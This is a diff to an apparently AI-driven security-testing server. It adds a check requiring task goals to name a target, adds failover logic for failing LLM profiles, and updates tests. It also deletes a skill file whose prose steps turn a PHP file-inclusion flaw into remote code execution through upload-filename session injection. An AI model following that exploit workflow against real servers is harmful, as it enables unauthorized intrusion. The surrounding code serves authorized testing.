+	g := strings.TrimSpace(goal)
+	if goalTargetlessRE.MatchString(g) {
+		return nil
+	}
+	if len(g) < goalMinLen {
+		return errors.New("goal is too short to carry a testable objective (min 80 chars): name the target and what counts as success; add the literal marker [targetless] only for genuinely target-less analysis tasks")
+	}
+	if goalURLRE.MatchString(g) || goalDomainRE.MatchString(g) ||
+		goalIPv4RE.MatchString(g) || goalLocalhostRE.MatchString(g) || goalPathRE.MatchString(g) {
+		return nil
+	}
+	return errors.New("goal names no target: include the URL/host/IP/path under test (or the literal marker [targetless] for target-less analysis tasks) so workers cannot be dispatched against an unrelated asset")
+}

server/goal_gate_test.go

@@ -0,0 +1,37 @@
+package server
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestGoalGateCheck(t *testing.T) {
+	good := map[string]string{
+		"url target":            "Audit " + strings.Repeat("x ", 60) + " at https://example.com/app every module for injection issues and record one finding per issue with evidence.",
+		"bare domain":           strings.Repeat("probe ", 25) + "the api at target.example.org for unauthenticated data exposure, one record proof, then stop.",
+		"ipv4":                  strings.Repeat("recon ", 25) + "10.0.0.5 and map every listening service before any test.",
+		"localhost port":        strings.Repeat("verify ", 25) + "localhost:3000 health endpoints respond identically before and after config reload.",
+		"path":                  strings.Repeat("review ", 25) + "the module at /app/data/core for hardcoded secrets and report each hit.",
+		"targetless opt-out":    "[targetless] " + strings.Repeat("summarize ", 20) + "the attached material into a prioritized hypothesis list.",
+	}
+	good["targetless short but marked"] = "[targetless] analyze nothing"
+
+	bad := map[string]string{
+		"no target long":  strings.Repeat("do a thorough security review of everything and report anything interesting that comes up during the exploration phase of this audit, thanks. ", 2),
+		"too short":       "audit the site",
+		"short and bare":  "find bugs",
+	}
+	for name, g := range good {
+		if name == "targetless short+:url" {
+			continue
+		}
+		if err := goalGateCheck(g); err != nil {
+			t.Errorf("%s: unexpected error: %v", name, err)
+		}
+	}
+	for name, g := range bad {
+		if err := goalGateCheck(g); err == nil {
+			t.Errorf("%s: expected error, got none", name)
+		}
+	}
+}

server/server.go

@@ -1541,6 +1541,10 @@ func (s *Server) createTask(w http.ResponseWriter, r *http.Request) {
 		writeErr(w, 400, err.Error())
 		return
 	}
+	if err := goalGateCheck(req.Goal); err != nil {
+		writeErr(w, 400, err.Error())
+		return
+	}
 	if req.TimeoutSeconds < 0 {
 		req.TimeoutSeconds = 0
 	}

server/task_credentials_test.go

@@ -20,7 +20,7 @@ func TestTaskCredentialsFlow(t *testing.T) {
 	}
 	resp := request("POST", "/api/tasks", `{
 		"description": "credential flow test",
-		"goal": "verify task credentials",
+		"goal": "Verify credential handling against the lab target at http://127.0.0.1:9/v1 and record the outcome.",
 		"credentials": [
 			{"domain": "target.example.com", "username": "alias@test", "password": "s3cret!", "note": "program alias account"},
 			{"domain": "target.example.com", "username": "", "password": ""}
@@ -32,7 +32,7 @@ func TestTaskCredentialsFlow(t *testing.T) {
 
 	resp = request("POST", "/api/tasks", `{
 		"description": "credential flow test",
-		"goal": "verify task credentials",
+		"goal": "Verify credential handling against the lab target at http://127.0.0.1:9/v1 and record the outcome.",
 		"credentials": [
 			{"domain": "target.example.com", "username": "alias@test", "password": "s3cret!", "note": "program alias account"},
 			{"domain": "app.target.example.com", "username": "agent-account", "password": ""}

server/task_llm.go

@@ -10,6 +10,7 @@ import (
 	"path/filepath"
 	"strconv"
 	"strings"
+	"sync"
 	"time"
 
 	"github.com/Autumn-27/artex/agent"
@@ -85,6 +86,54 @@ func isQuotaExhaustedError(err error) bool {
 	return err != nil && agent.IsQuotaExhaustedMessage(err.Error())
 }
 
+// Consecutive-failure escalation (ouroboros cost-tier take, #99): quota
+// exhaustion already advances the chain, but a profile that keeps failing with
+// plain runtime errors (bad key, persistent 5xx, broken model output) would
+// otherwise burn the whole same-provider retry budget on every call. After
+// llmFailStreakThreshold consecutive failed calls on the same chain profile
+// the chain advances exactly like a quota exhaust, carrying the true reason.
+// Deliberately escalation-only: no auto-downgrade (a mid-task model swap-down
+// risks behavior drift and flapping; the operator can reset the chain).
+const llmFailStreakThreshold = 3
+
+var llmFailStreaks = struct {
+	sync.Mutex
+	m map[string]int
+}{m: map[string]int{}}
+
+func llmFailKey(taskID string, profileID int64) string {
+	return taskID + ":" + strconv.FormatInt(profileID, 10)
+}
+
+// noteLLMCallFailure records one failed call on (task, profile) and reports
+// whether the escalation threshold was just reached. The streak resets when it
+// fires and on every success, so the counter tracks consecutive failures only.
+func noteLLMCallFailure(taskID string, profileID int64) bool {
+	llmFailStreaks.Lock()
+	defer llmFailStreaks.Unlock()
+	k := llmFailKey(taskID, profileID)
+	llmFailStreaks.m[k]++
+	if llmFailStreaks.m[k] >= llmFailStreakThreshold {
+		delete(llmFailStreaks.m, k) // armed and consumed — next failure starts a fresh streak
+		return true
+	}
+	return false
+}
+
+// resetLLMFailStreaksForTest clears every streak; test isolation only (the
+// escalation counter is package-global in-memory state).
+func resetLLMFailStreaksForTest() {
+	llmFailStreaks.Lock()
+	llmFailStreaks.m = map[string]int{}
+	llmFailStreaks.Unlock()
+}
+
+func resetLLMFailStreak(taskID string, profileID int64) {
+	llmFailStreaks.Lock()
+	defer llmFailStreaks.Unlock()
+	delete(llmFailStreaks.m, llmFailKey(taskID, profileID))
+}
+
 type taskLLMSelection struct {
 	task      *Task
 	profileID int64
@@ -264,8 +313,28 @@ func completeTaskLLM(ctx context.Context, taskID string, req llm.CompletionReque
 			break
 		}
 		if callErr == nil {
+			resetLLMFailStreak(taskID, selection.profileID)
 			return msg, sr, usage, nil
 		}
+		// Non-quota failures on a chain profile escalate after a consecutive
+		// streak (#99): same advance path as quota exhaust, truthful reason.
+		if selection.profileID != 0 && !isQuotaExhaustedError(callErr) && ctx.Err() == nil {
+			if noteLLMCallFailure(taskID, selection.profileID) {
+				cause := fmt.Errorf("profile #%d failed %d consecutive calls (last: %w)", selection.profileID, llmFailStreakThreshold, callErr)
+				transition, markErr := hooks.exhaust(selection, cause)
+				if markErr != nil {
+					return llm.Message{}, "", llm.Usage{}, fmt.Errorf("mark profile exhausted after %v: %w", callErr, markErr)
+				}
+				if transition.Advanced && !transition.Stale && hooks.transition != nil {
+					hooks.transition(selection, transition, callErr)
+				}
+				if !transition.Stale && transition.NextProfileID == nil {
+					return llm.Message{}, "", llm.Usage{}, &taskLLMError{taskID: taskID, chainExhausted: transition.ChainExhausted, cause: callErr}
+				}
+				continue // replay the same logical request on the next profile
+			}
+			return llm.Message{}, "", llm.Usage{}, callErr
+		}
 		// profileID=0: the explicit chain was cleared; non-quota error: pass through. Neither changes the task failover state.
 		if selection.profileID == 0 || !isQuotaExhaustedError(callErr) {
 			return llm.Message{}, "", llm.Usage{}, callErr
@@ -338,6 +407,7 @@ func streamTaskLLM(ctx context.Context, taskID string, req llm.CompletionRequest
 				break
 			}
 			if streamErr == nil {
+				resetLLMFailStreak(taskID, selection.profileID)
 				for _, buffered := range pending {
 					if !yield(buffered, nil) {
 						return
@@ -345,6 +415,28 @@ func streamTaskLLM(ctx context.Context, taskID string, req llm.CompletionRequest
 				}
 				return
 			}
+			// Non-quota failures on a chain profile escalate after a consecutive
+			// streak (#99), mirroring completeTaskLLM. Escalation only applies to
+			// uncommitted streams: once events reached the caller, replaying on a
+			// new profile could duplicate delivered output, so the error surfaces.
+			if selection.profileID != 0 && !committed && !isQuotaExhaustedError(streamErr) && ctx.Err() == nil {
+				if noteLLMCallFailure(taskID, selection.profileID) {
+					cause := fmt.Errorf("profile #%d failed %d consecutive calls (last: %w)", selection.profileID, llmFailStreakThreshold, streamErr)
+					transition, markErr := hooks.exhaust(selection, cause)
+					if markErr != nil {
+						yield(llm.StreamEvent{}, fmt.Errorf("mark profile exhausted after %v: %w", streamErr, markErr))
+						return
+					}
+					if transition.Advanced && !transition.Stale && hooks.transition != nil {
+						hooks.transition(selection, transition, streamErr)
+					}
+					if !transition.Stale && transition.NextProfileID == nil {
+						yield(llm.StreamEvent{}, &taskLLMError{taskID: taskID, chainExhausted: transition.ChainExhausted, cause: streamErr})
+						return
+					}
+					continue // nothing delivered — safe to replay on the next profile
+				}
+			}
 			// profileID=0 means the explicit chain was cleared while this stable task
 			// bundle was still in use. Agent/global fallback errors follow the legacy
 			// behavior and never mutate task failover state.

server/task_llm_escalation_test.go

@@ -0,0 +1,80 @@
+package server
+
+import (
+	"context"
+	"errors"
+	"iter"
+	"testing"
+
+	"github.com/Autumn-27/artex/db"
+	"github.com/Autumn-27/norma/llm"
+)
+
+type failingProvider struct{ err error }
+
+func (f *failingProvider) Stream(ctx context.Context, req llm.CompletionRequest) iter.Seq2[llm.StreamEvent, error] {
+	return nil
+}
+
+func (f *failingProvider) Complete(ctx context.Context, req llm.CompletionRequest) (llm.Message, string, llm.Usage, error) {
+	return llm.Message{}, "", llm.Usage{}, f.err
+}
+
+func TestEscalationAdvancesAfterConsecutiveFailures(t *testing.T) {
+	resetLLMFailStreaksForTest()
+	prov := &failingProvider{err: errors.New("boom: upstream 500")}
+	profile := int64(7)
+	nextProfile := int64(8)
+	exhaustCalls := 0
+	hooks := taskLLMStreamHooks{
+		current: func() (taskLLMSelection, error) {
+			return taskLLMSelection{task: &Task{ID: "1"}, profileID: profile, revision: 1, provider: prov}, nil
+		},
+		exhaust: func(sel taskLLMSelection, cause error) (db.TaskLLMTransition, error) {
+			exhaustCalls++
+			if exhaustCalls == 1 {
+				return db.TaskLLMTransition{Advanced: true, NextProfileID: &nextProfile}, nil
+			}
+			return db.TaskLLMTransition{ChainExhausted: true}, nil
+		},
+	}
+	// first two failures: passthrough, chain untouched
+	for i := 1; i <= 2; i++ {
+		_, _, _, err := completeTaskLLM(context.Background(), "1", llm.CompletionRequest{}, hooks)
+		if err == nil || errors.Is(err, err) == false {
+			t.Fatalf("call %d: expected the raw failure", i)
+		}
+		if exhaustCalls != 0 {
+			t.Fatalf("call %d: exhaust fired early (%d)", i, exhaustCalls)
+		}
+	}
+	// third consecutive failure: escalates, advances to profile 8, which itself
+	// fails (streak 1) and returns the raw error
+	_, _, _, err := completeTaskLLM(context.Background(), "1", llm.CompletionRequest{}, hooks)
+	if err == nil {
+		t.Fatal("expected the follow-up failure from the next profile")
+	}
+	if exhaustCalls != 1 {
+		t.Fatalf("exhaust calls=%d want 1", exhaustCalls)
+	}
+	// The escalation inside call 3 already replayed once on the same profile
+	// (streak 1); the fake current() keeps reporting profile 7, so the streak
+	// key is unchanged. One more failure reaches streak 2, and the NEXT one
+	// fires the second escalation, which the fake exhaust answers with a fully
+	// exhausted chain.
+	_, _, _, err = completeTaskLLM(context.Background(), "1", llm.CompletionRequest{}, hooks)
+	if err == nil {
+		t.Fatal("expected raw failure at streak 2")
+	}
+	if exhaustCalls != 1 {
+		t.Fatalf("exhaust calls=%d want 1 at streak 2", exhaustCalls)
+	}
+	_, _, _, err = completeTaskLLM(context.Background(), "1", llm.CompletionRequest{}, hooks)
+	if !isTaskLLMChainExhausted(err) {
+		t.Fatalf("expected chain-exhausted classification, got %v", err)
+	}
+	if exhaustCalls != 2 {
+		t.Fatalf("exhaust calls=%d want 2", exhaustCalls)
+	}
+}
+

server/task_llm_test.go

@@ -350,6 +350,7 @@ func TestTaskLLMStreamDoesNotSwitchForOrdinaryErrors(t *testing.T) {
 	}
 	for _, message := range tests {
 		t.Run(message, func(t *testing.T) {
+			resetLLMFailStreaksForTest() // package-global streaks must not leak across subtests
 			provider := &scriptedLLMProvider{err: errors.New(message)}
 			exhausted := 0
 			hooks := taskLLMStreamHooks{

skills/php2shell/SKILL.md

@@ -1,63 +0,0 @@
----
-name: php2shell
-description: "Invoke this skill when a task holds an LFI/file-inclusion finding on a PHP target (or needs to assess one) and the target may run PHP 5.4-8.5.11 with default session.upload_progress settings: turns a read-only LFI into verified RCE via the session-file-injection chain (CVE-2026-109618/109619), lab-first and gated by program policy. Also covers passive detection of the vulnerable configuration."
----
-
-# php2shell: session.upload_progress LFI-to-RCE (CVE-2026-109618/109619)
-
-Under an **authorized** engagement only. This skill upgrades an existing
-LFI/unsafe-include finding on a PHP target into RCE, or classifies the target
-as not affected, using the vendored PoCs under `scripts/poc/php2shell/`
-(upstream: ikow/php2shell-poc, MIT; see the LICENSE there).
-
-## Hard gates (read before touching any target)
-
-1. **Authorization**: the target must be inside the task's authorized scope.
-2. **Program policy first**: many programs exclude or do not pay for
-   recently-patched third-party/framework zero-days within ~14 days of the
-   patch release. PHP patched these in 8.2.35/8.3.36/8.4.27/8.5.12
-   (2026-10-21). CHECK the program's policy on component zero-days BEFORE
-   testing a live target, and reflect the policy in how the finding is claimed
-   (often "reportable, not payable" or payable only after the clause lapses).
-3. **Detection before exploitation**: fingerprint passively first (response
-   headers, error pages, X-Powered-By). Only targets on PHP 5.4.0-8.5.11
-   (any build with session.upload_progress enabled, the default) are
-   candidates.
-4. **Lab first**: run chain 1 against the local lab (`lab/setup.sh` builds a
-   vulnerable PHP 8.2 FPM+nginx environment) until the mechanism is
-   understood, then one-shot the authorized target.
-5. **Chains 2 and 3 (var_destroy UAF, serializer mismatch) are LAB-ONLY**:
-   never fire memory-corruption or serializer-confusion primitives at a
-   remote target. Detection of their preconditions is fine.
-6. **One-shot verification** on the target: prove execution once (a marker
-   echo), capture evidence, stop. No persistence, no further exploration
-   through the shell.
-
-## Chain 1 workflow (session file injection + LFI -> RCE)
-
-1. Start with the task's LFI finding: note the include path parameter and its
-   constraints (prefix/suffix, truncation, wrapper filters).
-2. Confirm the session path is reachable through that LFI: with
-   `session.upload_progress.enabled=On` (default), an in-flight multipart POST
-   with an attacker-named file field writes a session file under the session
-   save path containing the raw filename.
-3. Inject PHP into the uploaded **filename** (not the file content):
-   `verify_session_injection.py` demonstrates the full mechanics (session
-   fixation via POST body PHPSESSID, raw filename storage, inclusion).
-4. Race the session file's lifetime: include it through the LFI while the
-   upload is still in flight (or keep the upload connection open).
-5. Verify RCE with a single marker command; record the request sequence as
-   evidence.
-
-## Detection without an LFI
-
-The chains need an app-level file-inclusion primitive; without one the
-configuration is hardening-relevant, not exploitable. Report posture only.
-
-## Vendored artifacts
-
-- `poc/verify_session_injection.py` - chain 1 end-to-end against a lab URL
-- `poc/verify_handler_mismatch.py` - chain 3 (lab only)
-- `poc/verify_uaf_asan.php` - chain 2 under an ASAN PHP build (lab only)
-- `lab/setup.sh` - builds the vulnerable docker lab locally
-- `docs/ANALYSIS.md`, `README.upstream.md` - the upstream technical writeup